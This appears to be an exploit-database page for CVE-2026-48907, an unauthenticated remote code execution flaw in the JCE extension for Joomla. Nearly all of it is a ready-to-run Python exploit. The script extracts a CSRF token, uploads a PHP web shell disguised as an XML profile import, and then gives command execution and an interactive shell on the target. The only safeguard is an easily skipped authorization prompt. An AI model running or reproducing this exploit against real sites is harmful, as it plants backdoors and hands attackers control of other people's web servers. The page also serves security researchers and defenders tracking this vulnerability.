Joomla 2.9.99.4 - Unauthenticated Remote Code Execution
| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| Exploit for CVE-2026-48907 | 9 Jun 202616:30 | – | githubexploit | |
| COM_JCE_VANDA | 29 Jun 202611:00 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 22 Jun 202618:31 | – | githubexploit | |
| Exploit for CVE-2026-48907 | 11 Jun 202613:14 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 29 Jun 202606:36 | – | githubexploit | |
| Exploit for CVE-2026-48907 | 12 Jun 202609:22 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 27 Jun 202604:48 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 29 Jun 202621:14 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 1 Jul 202614:05 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 13 Jul 202613:23 | – | githubexploit |
10
# Exploit Title: Joomla 2.9.99.4 -Unauthenticated Remote Code Execution
# Date: 2026-07-10
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.joomla.org/
# Software Link: https://extensions.joomla.org/extension/jce/
# Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5)
# Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4
# CVE: CVE-2026-48907
# Description: The JCE (Joomla Content Editor) profile import functionality
# lacks proper authentication and CSRF protections. An unauthenticated
# attacker can upload a crafted XML file containing PHP code; the
# file is stored in the /tmp/ directory and can be accessed via HTTP,
# leading to remote code execution.
#
# Usage examples:
# python3 exploit.py -u http://example.com --interactive
# python3 exploit.py -u http://example.com --cmd "id"
# python3 exploit.py -u http://example.com -v
import re
import sys
import argparse
import requests
from random import randint
from time import sleep
from urllib.parse import urljoin
from rich.console import Console
from rich.text import Text
console = Console()
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class JCEExploit:
def __init__(self, target_url, proxy=None, verbose=False):
self.target = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {
'http': proxy,
'https': proxy
}
self.filename = f"jce-{randint(1000, 9999)}.xml.php"
self.payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'
def log(self, msg, level="INFO"):
if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]:
level_style = {
"INFO": "blue",
"SUCCESS": "green",
"ERROR": "red",
"WARNING": "yellow"
}
symbol = {
"INFO": "[*]",
"SUCCESS": "[+]",
"ERROR": "[-]",
"WARNING": "[!]"
}.get(level, "[*]")
text = Text()
text.append(symbol, style=level_style.get(level, "blue"))
text.append(f" {msg}")
console.print(text)
def get_csrf_token(self):
try:
resp = self.session.get(self.target + '/', timeout=10)
if resp.status_code != 200:
self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR")
return None
patterns = [
r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"',
r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"',
r'<meta[^>]*name="csrf\.token"[^>]*content="([a-f0-9]{32})"',
r'name="([a-f0-9]{32})"\s+value="1"',
]
for pattern in patterns:
match = re.search(pattern, resp.text, re.I)
if match:
token = match.group(1)
self.log(f"CSRF token extracted: {token}", "SUCCESS")
return token
self.log("Could not find CSRF token in the page", "ERROR")
return None
except requests.RequestException as e:
self.log(f"Request failed: {e}", "ERROR")
return None
def upload_profile(self, token):
if not token:
return False
endpoint = urljoin(self.target, '/index.php?option=com_jce')
files = {
'profile_file': (self.filename, self.payload, 'application/xml')
}
data = {
'task': 'profiles.import',
token: '1'
}
try:
self.log(f"Uploading malicious file: {self.filename}")
resp = self.session.post(endpoint, files=files, data=data, timeout=15)
if resp.status_code != 200:
self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR")
return False
if 'success' in resp.text and 'true' in resp.text:
self.log("Profile imported – file written to /tmp/", "SUCCESS")
return True
else:
self.log("Profile import may have failed", "WARNING")
return False
except requests.RequestException as e:
self.log(f"Upload request failed: {e}", "ERROR")
return False
def get_webshell_url(self):
return urljoin(self.target, f'/tmp/{self.filename}')
def execute_command(self, command):
if not command:
return ""
url = self.get_webshell_url()
try:
resp = self.session.get(url, params={'cmd': command}, timeout=10)
if resp.status_code == 200:
return resp.text
else:
return f"[!] HTTP {resp.status_code} – command may have failed."
except requests.RequestException as e:
return f"[!] Request error: {e}"
def interactive_shell(self):
self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS")
console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n")
while True:
try:
cmd = console.input("[cyan]$> [/cyan]").strip()
if cmd.lower() in ('exit', 'quit'):
break
if cmd == "":
continue
output = self.execute_command(cmd)
print(output)
except KeyboardInterrupt:
print("\nExiting.")
break
def run(self, command=None, interactive=False):
self.log(f"Target: {self.target}")
self.log("Starting CVE-2026-48907 exploitation process")
token = self.get_csrf_token()
if not token:
self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR")
return False
if not self.upload_profile(token):
self.log("Upload failed – target may be patched.", "ERROR")
return False
test_output = self.execute_command("echo JCE_TEST")
if "JCE_TEST" in test_output:
self.log("Webshell is active and responding.", "SUCCESS")
else:
self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING")
if command:
self.log(f"Executing command: {command}")
output = self.execute_command(command)
print(output)
return True
if interactive:
self.interactive_shell()
else:
self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO")
self.log(f"Direct webshell URL: {self.get_webshell_url()}")
return True
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE',
epilog='Examples:\n'
' python3 exploit.py -u http://target.com --interactive\n'
' python3 exploit.py -u http://target.com --cmd "id"\n'
' python3 exploit.py -u http://target.com -v'
)
parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL')
parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
parser.add_argument('--cmd', help='Execute a single command and exit')
parser.add_argument('--interactive', action='store_true', help='Start an interactive shell')
args = parser.parse_args()
banner = Text()
banner.append("[!] ", style="yellow")
banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n")
banner.append("[!] ", style="yellow")
banner.append("Coded by K3ysTr0K3R (Jared Brits)\n")
console.print(banner, style="bold")
if not args.verbose and not args.cmd and not args.interactive:
confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ")
if confirm.lower() != 'y':
console.print("Exiting.")
sys.exit(0)
exploit = JCEExploit(args.url, args.proxy, args.verbose)
success = exploit.run(command=args.cmd, interactive=args.interactive)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
CVSS 410
EPSS0.66013
SSVC